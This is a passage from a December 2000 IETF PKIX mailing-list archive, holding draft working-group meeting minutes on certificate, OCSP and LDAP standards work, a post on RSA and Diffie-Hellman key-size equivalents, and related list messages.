over this, or if we need to diverge. We set 2/14 as a "drop dead" date, i.e., either we reconcile with X.509 by then, OR we assign a distinct OID for the "PKIX name constraints extension." This date was chosen based on a planned X.509 meeting in late January. Since a number of changes have been made and since they are substantive, this document will be considered as a Proposed Standard. Public Key Algorithms and Identifiers - Russ Housley (SPYRUS) This document is a companion to the Certificate and CRL Profile. This specification contains the algorithm-specific information, such as OIDs and encoding information. This specification is ready for WG Last Call and is expected to progress to Proposed Standard with the Certificate and CRL Profile. Jim Schaad suggested that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new certificates. An attendee suggested that RSA should be mandated, based on existing deployment. Jeff Schiller noted that the SAAG argued for consistency among the major certificate client protocols: IPsec, S/MIME, and TLS. Steve Kent agreed to call for a straw poll on the PKIX list re this topic. OCSPv2 - Michael Myers (VeriSign) This document incorporates clarifications and enhancements to RFC 2560, plus DPD & DPV extensions. A major issue is whether we should progress this document to DRAFT, or make changes, specifically to the certificate ID mechanism, to cycle at proposed. Mike described the proposed new certificate ID forms; the WG needs to decide if support for all of these forms is appropriate. For example, an attendee noted that issuer name and serial number works even if the server is CRL driven, but certificate hash is not derivable from a CRL. Thus support for some forms of certificate IDs implies server database capabilities that must be explicitly defined and agreed upon. Another attendee raised concerns that the status response (a CHOICE today) may be overloaded when one tries to encompass path validation, vs. validation of individual certificates. Steve Kent noted that processing the DPD and DPV extensions represents substantial new functionality and complexity to an OCSP v1 server, so that it is not appropriate to characterize the complexity of these new extensions purely in terms of their (minimal) syntax. Comments on OCSPv2 - Denis Pinkas (Bull) Denis agreed that there is a need to revise OCSP, for several minor but important editorial reasons, but he argues that while there are deficiencies in the certificate ID in v1, but that existing OCSP clients do find the certificate ID facility adequate for the simple purpose of revocation status checking. The major motivation for expanding the certificate ID types is to support extensions such as DPV or DPD. He suggested that we revise OCSP, but only to add an ASN.1 module OID, re-specify a mandatory algorithm, and to clarify the status returned, not to support extensions such as DPD and DPV. Comments on OCSPv2 - Ambarish Malpani (ValiCert) Ambarish notes that there are at least 11 independent implementations of OCSP v1, many users, etc. For the original, intended purpose, he argues that the current deployment success attests to the adequacy of the current spec. He noted that the use model assumes that the client has all of the certificates in a chain and thus the limitations on certificate IDs are not severe, although he admitted the design could have been better in this regard. PKIX Roadmap - Sean Turner (IECA) This document provides an overview or "roadmap" of the work done by the IETF PKIX working group. It defines common terms, describes basic theory behind PKI, and provides an overview of PKIX documents and the relationships between them. This document is now fairly stable; the editor and WG chairs agree to execute WG last call, for this to become an informational RFC. Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford) This document is the LDAPv3 analog of RFC 2559. This document describes the features of LDAPv3 that are essential, or not required, or are optional for servers to support a PKI based on X.509. David reviewed the mandatory, recommended and not recommended, aspects of the profile. CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom) An ad hoc group of PKIX and ABA members has been working on revisions to RFC 2527, the "Certificate Policy and Certification Practices Framework". A new draft will be posted in the near future. This update will describe expected changes in the document. Tim did not present Santosh's slides, due to time constraints, but the slides will be posted to the IETF web site. Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore) This document specifies a deliberately limited protocol for requesting attribute certificates from a server. No presentation was made on this document, since there was no significant progress to report. Repository Locator Service - Phil Hallem-Baker (VeriSign) This document leverages DNS and DNS SRV records to enable Certificate using systems to locate PKI repositories based on a domain name, identify the protocols that can be used to access the repository, and obtain addresses for the servers that host the repository service. The current plan is to progress this as an experimental track RFC. PKIX and XML - Phil Hallem-Baker (VeriSign) Phil first noted that mere re-encoding of certificates in XML does not seem to be a valuable exercise. A second approach might be to re-encode and change some semantics at the same time, but this too is not very attractive. Instead, the work Phil reported on envisions a fresh start for a native XML PKI model, using XML encryption, signatures, SOAP, etc., i.e., a PKI that is deeply entwined in the XML environment. Several observations are made about why PKI deployment has not been as successful as we would all hope, e.g., applications that are not compliant with standards. XML key management services (XKMS) is an attempt to provide an interface, not an infrastructure, which will yield a very small footprint implementation (because of delegated validation), thus removing an impediment from deployment. "Trust services" form the core of this scheme, using delegated validation in various structural schema, e.g., completely centralized, DNS-tree structure, PGP-web, X.509 cross certification, etc. It is not clear in which context this work should proceed, e.g., it may be more appropriate in W3C vs. the IETF. --============_-1235358777==_ma============ Content-Type: text/enriched; charset="us-ascii" Folks, Here are the draft meeting minutes from PKIX. Please reply with corrections by 12/31. Pardon the text alignment problems in this version. The final version will fix those problems. Also, all speakers who would like their slides included in the IETF archive for this meeting should e-mail them to me (as power point files) over the next 2 weeks. Thanks, Steve ---------------------------------------------------------------------- Courier_NewPKIX WG Meeting 12/12-13/00 Edited by Steve Kent (WG co-chairs) The PKIX WG met twice during the 48th IETF. A total of approximately 200 individuals participated in the first meeting, and about 150 in the second. Day 1 (12/12/00) Tim quickly reviewed the agenda and document status, noting that there are 20 I-Ds in progress. (see slides) Qualified Certificates Profile - Stefan Santesson (Addtrust) This document has been approved as a Standards track RFC and is currently in the editors queue. Stefan briefly discussed the status of the corresponding ETSI specification that refers to this RFC. In a new item, Stefan briefly discussed the idea of a new extension that could be used to refer (with integrity) to corporate logos for subjects and issuers, as an aid to users when they display certificates. Steve Kent expressed some concern that such graphics might undermine the security offered by the name constraints extension, IF a CA accidentally or maliciously binds a logo to a name which is not really related to the name. Attribute Certificate Profile - Steve Farrell (Baltimore) This document has been through working group Last Call and is currently under Area Director Review. Steve described the status of this document, including changes made as a consequence of Last Call. Denis alluded to a problem in the base ISO spec which has been inherited by the PKIX document. Data Validation and Certification Server - Carlisle Adams (Entrust) This document has been approved as a Experimental track RFC and is currently in the editing queue. Time Stamp Protocols (TSP) - Denis Pinkas (Bull) This document has been through working group Last Call and is currently under Area Director Review. Denis described the changes made to the TSP specification as a consequence of Last Call, and the creation of an appendix to specify the SIA extension. This appendix is a temporary one, and the SIA extension will later be moved to RFC 2459bis, when then document is issued. ETSI will work on a TSP security policy document, analogous to one ETSi is working on for CA security policy. Denis offers to initiate further work, to specify a set of standard TSA policies. This would require a mod to the current PKIX charter. Permanent Identifier - Denis Pinkas (Bull) This document is stable and ready for progression as an RFC. The question before the WG is what status should be attached to the document, i.e., standards track, informational, or experimental? A quick poll of attendees suggests support for standards track, but since the number of folks who claim familiarity with the document was small, we will bring this to the list for a straw poll for final resolution. Bob Moskowitz cited a potential problem with current CA implementations, if one tried to request a certificate with a new name, signing the request with a key bound to a certificate with a different name. Technical Non-Repudiation - Tom Gindin (IBM) This document is ready to proceed as an Informational track specification. Denis presented a few slides raising issues that he feels need to be addressed prior to publication as information. For example, he notes that ETSI has a standard for 1-way NR which is viewed as sufficient for legal NR purposes, not consistent with this draft. Denis will correspond with Tom to resolve this and related issues. Delegated Path Validation & Discovery Services - Steve Kent (BBN) The working group has been presented with two alternative Proposals: Simple Certificate Validation Protocol (SCVP) and extensions to OCSP (v2) for Delegated path Discovery and Validation. Steve Kent presented a proposed set of criteria, and associated rationales, for use in evaluating these competing proposals. Steve will follow up with an extended message on the topic to the mailing list, to establish consensus for selection criteria. Day 2 (12/13/00) CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs) Bob has been organizing interoperability testing for CRMF/CMP Implementations. This testing will support the progression of CMP and CRMF to Draft standard. Bob discussed results of recent test activities, which are leading to an interoperability test report. Certificate Management Protocol (CMP) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2510. These changes are proposed as a result of interoperability testing. This specification is ready for Last Call and progression of CMP to Draft Standard. The editors believe that the changes made from the previous version are minor and thus the document should progress to DRAFT standard. Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) This document incorporates clarifications to RFC 2511. These changes are proposed as a result of interoperability testing. This specification is now ready for Last Call and progression of CRMF to Draft Standard. Certificate and CRL Profile revisions - Russ Housley (SPYRUS) This document is the follow-up to RFC 2459. A new draft of this document has been published. The document is ready for Working Group Last Call, modulo a difference of opinion between X.509 and PKIX re name constraints. It is not clear whether we can achieve agreement with X.509 over this, or if we need to diverge. We set 2/14 as a "drop dead" date, i.e., either we reconcile with X.509 by then, OR we assign a distinct OID for the "PKIX name constraints extension." This date was chosen based on a planned X.509 meeting in late January. Since a number of changes have been made and since they are substantive, this document will be considered as a Proposed Standard. Public Key Algorithms and Identifiers - Russ Housley (SPYRUS) This document is a companion to the Certificate and CRL Profile. This specification contains the algorithm-specific information, such as OIDs and encoding information. This specification is ready for WG Last Call and is expected to progress to Proposed Standard with the Certificate and CRL Profile. Jim Schaad suggested that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new certificates. An attendee suggested that RSA should be mandated, based on existing deployment. Jeff Schiller noted that the SAAG argued for consistency among the major certificate client protocols: IPsec, S/MIME, and TLS. Steve Kent agreed to call for a straw poll on the PKIX list re this topic. OCSPv2 - Michael Myers (VeriSign) This document incorporates clarifications and enhancements to RFC 2560, plus DPD & DPV extensions. A major issue is whether we should progress this document to DRAFT, or make changes, specifically to the certificate ID mechanism, to cycle at proposed. Mike described the proposed new certificate ID forms; the WG needs to decide if support for all of these forms is appropriate. For example, an attendee noted that issuer name and serial number works even if the server is CRL driven, but certificate hash is not derivable from a CRL. Thus support for some forms of certificate IDs implies server database capabilities that must be explicitly defined and agreed upon. Another attendee raised concerns that the status response (a CHOICE today) may be overloaded when one tries to encompass path validation, vs. validation of individual certificates. Steve Kent noted that processing the DPD and DPV extensions represents substantial new functionality and complexity to an OCSP v1 server, so that it is not appropriate to characterize the complexity of these new extensions purely in terms of their (minimal) syntax. Comments on OCSPv2 - Denis Pinkas (Bull) Denis agreed that there is a need to revise OCSP, for several minor but important editorial reasons, but he argues that while there are deficiencies in the certificate ID in v1, but that existing OCSP clients do find the certificate ID facility adequate for the simple purpose of revocation status checking. The major motivation for expanding the certificate ID types is to support extensions such as DPV or DPD. He suggested that we revise OCSP, but only to add an ASN.1 module OID, re-specify a mandatory algorithm, and to clarify the status returned, not to support extensions such as DPD and DPV. Comments on OCSPv2 - Ambarish Malpani (ValiCert) Ambarish notes that there are at least 11 independent implementations of OCSP v1, many users, etc. For the original, intended purpose, he argues that the current deployment success attests to the adequacy of the current spec. He noted that the use model assumes that the client has all of the certificates in a chain and thus the limitations on certificate IDs are not severe, although he admitted the design could have been better in this regard. PKIX Roadmap - Sean Turner (IECA) This document provides an overview or "roadmap" of the work done by the IETF PKIX working group. It defines common terms, describes basic theory behind PKI, and provides an overview of PKIX documents and the relationships between them. This document is now fairly stable; the editor and WG chairs agree to execute WG last call, for this to become an informational RFC. Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford) This document is the LDAPv3 analog of RFC 2559. This document describes the features of LDAPv3 that are essential, or not required, or are optional for servers to support a PKI based on X.509. David reviewed the mandatory, recommended and not recommended, aspects of the profile. CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom) An ad hoc group of PKIX and ABA members has been working on revisions to RFC 2527, the "Certificate Policy and Certification Practices Framework". A new draft will be posted in the near future. This update will describe expected changes in the document. Tim did not present Santosh's slides, due to time constraints, but the slides will be posted to the IETF web site. Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore) This document specifies a deliberately limited protocol for requesting attribute certificates from a server. No presentation was made on this document, since there was no significant progress to report. Repository Locator Service - Phil Hallem-Baker (VeriSign) This document leverages DNS and DNS SRV records to enable Certificate using systems to locate PKI repositories based on a domain name, identify the protocols that can be used to access the repository, and obtain addresses for the servers that host the repository service. The current plan is to progress this as an experimental track RFC. PKIX and XML - Phil Hallem-Baker (VeriSign) Phil first noted that mere re-encoding of certificates in XML does not seem to be a valuable exercise. A second approach might be to re-encode and change some semantics at the same time, but this too is not very attractive. Instead, the work Phil reported on envisions a fresh start for a native XML PKI model, using XML encryption, signatures, SOAP, etc., i.e., a PKI that is deeply entwined in the XML environment. Several observations are made about why PKI deployment has not been as successful as we would all hope, e.g., applications that are not compliant with standards. XML key management services (XKMS) is an attempt to provide an interface, not an infrastructure, which will yield a very small footprint implementation (because of delegated validation), thus removing an impediment from deployment. "Trust services" form the core of this scheme, using delegated validation in various structural schema, e.g., completely centralized, DNS-tree structure, PGP-web, X.509 cross certification, etc. It is not clear in which context this work should proceed, e.g., it may be more appropriate in W3C vs. the IETF. --============_-1235358777==_ma============-- From owner-ietf-pkix@imc.org Thu Dec 14 00:44:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24110 for ; Thu, 14 Dec 2000 00:44:17 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id VAA08549; Wed, 13 Dec 2000 21:39:28 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 21:39:11 -0800 Received: from ntserver2.chrysalis-its.com ([209.47.245.163]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id VAA08330; Wed, 13 Dec 2000 21:34:01 -0800 (PST) From: FRousseau@chrysalis-its.com Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21) id ; Thu, 14 Dec 2000 00:36:44 -0500 Message-ID: <918C70B01822D411A87400B0D0204DFFAD7CE6@panda.chrysalis-its.com> To: ietf-smime@imc.org, ipsec@lists.tislabs.com, ietf-tls@lists.certicom.com Cc: ietf-pkix@imc.org Subject: New Time and Space Based Key Size Equivalents for RSA and Diffie- Hellman Date: Thu, 14 Dec 2000 00:36:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0658F.D7D4218A" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0658F.D7D4218A Content-Type: text/plain; charset="iso-8859-1" I am sorry for the multiple postings, but I thought this particular subject, although probably quite controversial, might be of interest to the many peoples following these mailing lists, especially because of the upcoming adoption of the AES algorithm by many IETF protocols. As symmetric keys grow, they can be attacked by more processors without a change in processor technology since the memory requirements for breaking symmetric keys remain trivial. However, for the Number Field Sieve (NFS) algorithm, which is currently the most efficient method to break RSA keys, this is not true. Based on this premise, the "time and space" based RSA key size equivalents previously published in the RSA Labs Bulletin #13 of April 2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have recently been extended to cover all the AES symmetric key sizes in the latest draft of ANSI X9.44, which will eventually become the ANSI standard for RSA key transport: Time and Space Symmetric Equivalent Key Size RSA Key Size (in bits) (in bits) 64 450 128 1620 192 2500 256 4200 These "time and space" based key sizes equivalents assume that both time and memory are binding constraints in order to break RSA keys. This same draft also indicates that beyond RSA key sizes of 768 bits one can no longer effectively utilize 32-bit processors with the NFS algorithm because the required memory exceeds what can be addressed in 32 bits; one is forced to use 64-bit machines. Beyond RSA key sizes of about 2500 bits, the memory requirements for the NFS algorithm exceed what can be addressed even on 64 bit machines. For your information, here are also the estimated "time" only based RSA key size equivalents for solving the NFS problem from the same ANSI draft: Time Only Symmetric Equivalent Key Size RSA Key Size (in bits) (in bits) 64 512 128 2550 192 6700 256 13500 Note that either of these sets of RSA key size equivalents could be used with Diffie-Hellman for solving the value of "p" since the NFS algorithm is also the most efficient method to break Diffie-Hellman algorithm today. Note also that these time only equivalents numbers are slightly smaller than those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, 6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in Hilarie Orman's Internet Draft (i.e. draft-orman-public-key-lengths-01.txt). Shouldn't IETF standards mention these new "time and space" based key size equivalents in addition to existing "time" only based key size equivalents, and possibly even suggest that "time and space" based key size equivalents be used for RSA and Diffie-Hellman? Why mandate larger equivalent key sizes when smaller equivalent key sizes can probably suffice? Food for thought! Cheers, Francois ___________________________________ Francois Rousseau Director of Standards and Conformance Chrysalis-ITS 1688 Woodward Drive Ottawa, Ontario, CANADA, K2C 3R7 frousseau@chrysalis-its.com Tel. (613) 723-5076 ext. 419 http://www.chrysalis-its.com Fax. (613) 723-5078 ------_=_NextPart_001_01C0658F.D7D4218A Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable New Time and Space Based Key Size Equivalents for RSA and = Diffie-Hellman

I am sorry for the multiple postings, but I thought = this particular subject, although probably quite controversial, might = be of interest to the many peoples following these mailing lists, = especially because of the upcoming adoption of the AES algorithm by = many IETF protocols.

As symmetric keys grow, they can be attacked by more = processors without a change in processor technology since the memory = requirements for breaking symmetric keys remain trivial.  However, = for the Number Field Sieve (NFS) algorithm, which is currently the most = efficient method to break RSA keys, this is not true.  Based on = this premise, the "time and space" based RSA key size = equivalents previously published in the RSA Labs Bulletin #13 of April = 2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have recently = been extended to cover all the AES symmetric key sizes in the latest = draft of ANSI X9.44, which will eventually become the ANSI standard for = RSA key transport:

        =         =         Time and = Space
Symmetric       =         Equivalent
Key Size        =         RSA Key Size
(in bits)       =         (in bits)

64      =         =         450
128     =         =         1620
192     =         =         2500
256     =         =         4200

These "time and space" based key sizes = equivalents assume that both time and memory are binding constraints in = order to break RSA keys.  This same draft also indicates that = beyond RSA key sizes of 768 bits one can no longer effectively utilize = 32-bit processors with the NFS algorithm because the required memory = exceeds what can be addressed in 32 bits; one is forced to use 64-bit = machines.  Beyond RSA key sizes of about 2500 bits, the memory = requirements for the NFS algorithm exceed what can be addressed even on = 64 bit machines.

For your information, here are also the estimated = "time" only based RSA key size equivalents for solving the = NFS problem from the same ANSI draft:

        =         =         Time = Only
Symmetric       =         Equivalent
Key Size        =         RSA Key Size
(in bits)       =         (in bits)

64      =         =         512
128     =         =         2550
192     =         =         6700
256     =         =         13500

Note that either of these sets of RSA key size = equivalents could be used with Diffie-Hellman for solving the value of = "p" since the NFS algorithm is also the most efficient method = to break Diffie-Hellman algorithm today.  Note also that these = time only equivalents numbers are slightly smaller than those from ANSI = X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, 6700 vs 7680 = for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in = Hilarie Orman's Internet Draft (i.e. = draft-orman-public-key-lengths-01.txt).

Shouldn't IETF standards mention these new "time = and space" based key size equivalents in addition to existing = "time" only based key size equivalents, and possibly even = suggest that "time and space" based key size equivalents be = used for RSA and Diffie-Hellman?  Why mandate larger equivalent = key sizes when smaller equivalent key sizes can probably = suffice?

Food for thought!

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. = (613) 723-5076 ext. 419
http://www.chrysalis-its.com   &nbs= p; Fax. (613) 723-5078

------_=_NextPart_001_01C0658F.D7D4218A-- From owner-ietf-pkix@imc.org Thu Dec 14 08:56:58 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA25239 for ; Thu, 14 Dec 2000 08:56:58 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA16652; Thu, 14 Dec 2000 05:52:55 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 05:52:41 -0800 Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA16619 for ; Thu, 14 Dec 2000 05:52:37 -0800 (PST) Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id KAA00857; Thu, 14 Dec 2000 10:52:51 -0500 Reply-To: From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= To: "Denis. Pinkas" Cc: "Ietf-Pkix" Subject: Which is the Permanent Identifier draft's current status ? Date: Thu, 14 Dec 2000 10:53:13 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 7bit On the PKIX WG Agenda at San Diego Meeting, I was reading about "Permanet Identifier " : "...This document is stable and ready for progression to RFC status. This discussion will center on the strategy for progressing this document..." What happened with this discussion and which is the draft's current status? best regards Juan Carlos From owner-ietf-pkix@imc.org Thu Dec 14 11:34:31 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA26405 for ; Thu, 14 Dec 2000 11:34:31 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA29543; Thu, 14 Dec 2000 08:30:32 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 08:30:18 -0800 Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29498 for ; Thu, 14 Dec 2000 08:30:17 -0800 (PST) Received: from salford.ac.uk ([207.137.72.219]) by ns1.49thietf.org (8.9.3+Sun/8.9.3) with ESMTP id IAA09075; Thu, 14 Dec 2000 08:33:04 -0800 (PST) Message-ID: <3A38F6C7.B2E0E0F5@salford.ac.uk> Date: Thu, 14 Dec 2000 16:35:19 +0000 From: David Chadwick Organization: University of Salford X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: PKIX , "OSI X.500" Subject: Matching rules for LDAP Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms26BA014E715AD9519BE58B07" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a cryptographically signed message in MIME format. --------------ms26BA014E715AD9519BE58B07 Content-Type: multipart/mixed; boundary="------------1EEF859821069F91D1C8C3E1" This is a multi-part message in MIME format. --------------1EEF859821069F91D1C8C3E1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit At the PKIX meeting yesterday there was insufficient time to go through all the proposed agenda items. One topic that fell off the bottom was new LDAP schema for PKIs and PMIs. I had prepared a presentation listing a number of topics that need to be resolved, so I reproduce these here below, so that we can get some discussion of them on the list. Should we separate the PKI schema from the PMI schema and create two separate IDs. We Need OID allocations from the LDAPEXT group (this is not so much an issue as "job to be done") Do we need the full richness of the X.500 matching rules or can we use a subset of them e.g. can we use name constraints based on whole subtrees rather than on chopped subtrees Do we need to add matching rules for cross certificates and/or S/MIME certificates A bug was found in X.509 (the attribute certificate syntax and the exact match syntax are different). Have the X.509 group fixed the ASN.1 for Geneva? And has new text been added as well. (Maybe Sharon can advise on this) Should we allow LDAP attribute names to be used instead of OIDs to reference attributes in attribute certificate matching X.509 has used different matching methods for PKIs and PMIs. PKI has one complex flexible matching rule holding most standard extensions. PMI has a separate matching rules for each extension. Do we want to use the X.509 method or alternatively use the same method for both PKIs and PMIs. Personnally I think X.509 got it wrong here, and should have devised separate matching rules for each extension for both PKIs and PMIs. Then when new extensions are defined, new LDAP matching rules can be defined to go with them. How many extension matching rules should we define for PMIs. none, the most popular ones (which are they), or all? This should give folks enough to think about whilst I take the plane home later today David -- ***************************************************************** David Chadwick, BSc PhD Post: IS Institute, University of Salford, Salford M5 4WT Tel: +44 161 295 5351 Fax +44 161 745 8169 Mobile: +44 790 167 0359 Email: D.W.Chadwick@salford.ac.uk Home Page: http://www.salford.ac.uk/its024/chadwick.htm Research Projects: http://sec.isi.salford.ac.uk Understanding X.500: http://www.salford.ac.uk/its024/X500.htm X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm Entrust key validation string: MLJ9-DU5T-HV8J ***************************************************************** --------------1EEF859821069F91D1C8C3E1 Content-Type: text/x-vcard; charset=us-ascii; name="d.w.chadwick.vcf" Content-Description: Card for David Chadwick Content-Disposition: attachment; filename="d.w.chadwick.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Chadwick;David tel;fax:+44 1484 532930 tel;home:+44 790 167 0359 tel;work:+44 161 295 5351 x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:d.w.chadwick@salford.ac.uk x-mozilla-cpt:;-16144 fn:David Chadwick end:vcard --------------1EEF859821069F91D1C8C3E1-- --------------ms26BA014E715AD9519BE58B07 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature Content-Transfer-Encoding: base64 MIIEvwYJKoZIhvcNAQcCoIIEsDCCBKwCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC AxcwggMTMIICfKADAgECAgEfMA0GCSqGSIb3DQEBBAUAMEkxDzANBgNVBAcTBkV1cm9wZTEQ MA4GA1UEChMHSUNFLUNBUjEkMCIGA1UECxMbQXV0aGVudGljYXRpb24gQ2VydGlmaWNhdGVz MB4XDTk5MDkzMDEyMTExMVoXDTAwMTIzMDAwMDAwMFowezELMAkGA1UEBhMCR0IxHjAcBgNV BAoTFVVuaXZlcnNpdHkgb2YgU2FsZm9yZDEhMB8GA1UEAxMYRHIgRGF2aWQgV2FsdGVyIENo YWR3aWNrMSkwJwYJKoZIhvcNAQkBFhpkLncuY2hhZHdpY2tAc2FsZm9yZC5hYy51azCBnzAN BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAnIfPtbcLPwxO+2KPpVtB5s41FSFfWVJ7SPIcWXPQ Q0twP0ELmu0YDyO/mzcobKSlmAy41FCytifLWPLaUQR+y4JuTkfyWTN5qTGQrGYTxVYaXr4u AcdG5CLa95H3UM9yjPxSoMrO4UdZo88fmmkW1r5MXj8eUfnbLCRP35nxqusCAwEAAaOB2DCB 1TBDBgNVHSMEPDA6oTWCM09VPUF1dGhlbnRpY2F0aW9uIENlcnRpZmljYXRlcywgTz1JQ0Ut Q0FSLCBMPUV1cm9wZYIBADAdBgNVHQ4EFgQUu7E9QyYiHlmvKfB7Ru3luLnZjgYwDgYDVR0P AQH/BAQDAgTwMAwGA1UdEwEB/wQCMAAwEQYJYIZIAYb4QgEBBAQDAgCgMD4GCWCGSAGG+EIB DQQxFi9JQ0UtQ0FSIGF1dGhlbnRpY2F0aW9uIGNlcnRpZmljYXRlCihjKSBHTUQgMTk5ODAN BgkqhkiG9w0BAQQFAAOBgQBtP3vNSltv/Ds4cQgL9SbcWZL8l+eVXvIpHMNSbnKwjXbGHVPN 4Vi0ymXqrtGt9C2bbSPVfTyeLSQFbBCkHCPqX+AtWHTkRzL3z6QaOXjf9H3eyCoaUGh7Seuw UnKiWLWUPpSolCHDACfzal883VaJXLTyXEmR/WgWWes2Oy8W7jGCAXAwggFsAgEBME4wSTEP MA0GA1UEBxMGRXVyb3BlMRAwDgYDVQQKEwdJQ0UtQ0FSMSQwIgYDVQQLExtBdXRoZW50aWNh dGlvbiBDZXJ0aWZpY2F0ZXMCAR8wCQYFKw4DAhoFAKB6MBgGCSqGSIb3DQEJAzELBgkqhkiG 9w0BBwEwGwYJKoZIhvcNAQkPMQ4wDDAKBggqhkiG9w0DBzAcBgkqhkiG9w0BCQUxDxcNMDAx MjE0MTYzNTE5WjAjBgkqhkiG9w0BCQQxFgQUuxblfRkaOzJKQCUK3M3q/Htjp5wwDQYJKoZI hvcNAQEBBQAEgYAb8LRWydW/mGFvADy03Q63nGymx8vJXvqx61/UkuDQQmMg3cVvlpdccsWQ hKRj8kDKJTrXTxlvrSt2ZN++cEsFC3ldxSSkG346Rez1zgQQdra6pEvsXLeVjnzj9L+Qfg0P 7x8HfMKt8aoKe8qeobTLbI/96CnP+S1zG2Xy4ip/ng== --------------ms26BA014E715AD9519BE58B07-- From owner-ietf-pkix@imc.org Thu Dec 14 13:00:19 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA08445 for ; Thu, 14 Dec 2000 13:00:18 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA03288; Thu, 14 Dec 2000 09:54:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 09:52:25 -0800 Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA02888; Thu, 14 Dec 2000 09:52:24 -0800 (PST) Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com with Novell_GroupWise; Thu, 14 Dec 2000 10:54:38 -0700 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.5.1 Date: Thu, 14 Dec 2000 10:54:34 -0700 From: "Bob Jueneman" To: , , , Cc: Subject: Re: New Time and Space Based Key Size Equivalents for RSA and Diffie-Hellman Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=_2C77224E.31502339" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. --=_2C77224E.31502339 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Francois, I haven't followed the latest thinking on breaking algorithms such as RSA, = so I'll take your word for the fact that the Number Field Sieve is = currently the most efficient algorithm. But isn't it at least possible = 